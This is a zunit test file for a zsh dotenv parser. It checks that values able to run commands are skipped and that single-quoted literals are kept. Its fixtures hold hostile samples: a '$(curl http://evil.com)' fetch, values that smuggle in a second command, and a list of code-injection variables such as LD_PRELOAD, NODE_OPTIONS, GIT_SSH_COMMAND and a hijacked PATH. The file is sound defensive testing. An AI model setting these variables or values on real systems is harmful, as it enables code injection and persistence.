#!/usr/bin/env zunit @setup { typeset -g fixture="$(_create_temp_fixture)" typeset -gA expected_vars=() } @teardown { [[ -f "$fixture" ]] && command rm -f "$fixture" unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null } @test 'skip dangerous backtick command substitution' { > "$fixture" <<'EOF' # Should be skipped DANGEROUS_BACKTICK=`whoami` EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'skip dangerous subshell command substitution' { > "$fixture" <<'EOF' # Should be skipped DANGEROUS_SUBSHELL=$(date) EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'skip nested command substitution in double quotes' { > "$fixture" <<'EOF' # Should be skipped DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'skip multiple words (potential command execution)' { > "$fixture" <<'EOF' # Should be skipped - multiple words could execute commands BASE_URL=/ echo command run EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'allow literal command substitution in single quotes' { > "$fixture" <<'EOF' # Single quotes make everything literal - should be parsed SAFE_SINGLE_QUOTED='$(this is literal)' SAFE_BACKTICK='`also literal`' # Should also be parsed SAFE_VAR=safe_value EOF expected_vars=( SAFE_SINGLE_QUOTED '$(this is literal)' SAFE_BACKTICK '`also literal`' SAFE_VAR 'safe_value' ) _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'skip backticks in unquoted values' { > "$fixture" <<'EOF' # Backticks in unquoted context - should be skipped DANGEROUS_UNQUOTED=`echo danger` EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'skip dollar-paren in unquoted values' { > "$fixture" <<'EOF' # Command substitution in unquoted context - should be skipped DANGEROUS_UNQUOTED=$(uname -a) EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'allow safe dollar signs (variable refs without parens in single quotes)' { > "$fixture" <<'EOF' # Dollar signs that don't start command substitution SAFE_DOLLARS='$HOME is literal' SAFE_PRICE='Cost is $50' SAFE_VAR='value$123' # Should all be parsed SAFE_VAR2=safe_value EOF expected_vars=( SAFE_DOLLARS '$HOME is literal' SAFE_PRICE 'Cost is $50' SAFE_VAR 'value$123' SAFE_VAR2 'safe_value' ) _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'skip quoted command substitution' { > "$fixture" <<'EOF' HARMLESS_COMMAND="\$(echo)" ANOTHER_ONE=$'\x24\x28echo\x29' EOF _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'comprehensive security test with mixed safe and dangerous patterns' { > "$fixture" <<'EOF' # These should be SKIPPED (dangerous) DANGEROUS_BACKTICK=`whoami` DANGEROUS_SUBSHELL=$(date) DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" LOOKS_SAFE=$(curl http://evil.com) BASE_URL=/ echo command run # These should WORK (safe) SAFE_BEFORE=safe_value_1 SAFE_AFTER=safe_value_2 SAFE_SINGLE_QUOTED='$(this is literal)' SAFE_SINGLE_QUOTED2='`also literal`' SAFE_DOLLARS='$HOME' SAFE_PRICE="$50" EOF expected_vars=( SAFE_BEFORE 'safe_value_1' SAFE_AFTER 'safe_value_2' SAFE_SINGLE_QUOTED '$(this is literal)' SAFE_SINGLE_QUOTED2 '`also literal`' SAFE_DOLLARS '$HOME' SAFE_PRICE '$50' ) _parse_dotenv_test "$fixture" assert "DOTENV_TEST_VARS" var_same_as "expected_vars" } @test 'blocks changes of special environment variables' { _parse_dotenv_test =(<<'EOF' # Executes on the next node/npm/npx invocation NODE_OPTIONS=--require=./payload.js # Used for shell initialization BASH_ENV=./payload.sh # Used for shell initialization in zsh, but also respected by some tools like git # - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args # - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV ENV=./payload.sh # Used for zsh startup ZDOTDIR=./.malicious_zsh ZSH=./.malicious_zsh # These are used for native code injection LD_PRELOAD=./payload.so LD_LIBRARY_PATH=./malicious_libs DYLD_INSERT_LIBRARIES=./payload.dylib # Git environment variables GIT_CONFIG_GLOBAL=./.gitconfig-malicious GIT_DIR=./malicious_git_dir GIT_EDITOR=./malicious_editor GIT_EXTERNAL_DIFF=./malicious_diff GIT_EXEC_PATH=./.malicious_git_exec GIT_PAGER=./malicious_pager GIT_SSH=./malicious_ssh GIT_SSH_COMMAND=./malicious_ssh_command GIT_SSL_NO_VERIFY=true GIT_TEMPLATE_DIR=./malicious_templates # for persistence # Special exported variables PATH=./malicious_bin:$PATH EDITOR=./malicious VISUAL=./malicious PAGER=./malicious EOF ) assert "DOTENV_TEST_VARS" var_same_as "expected_vars" }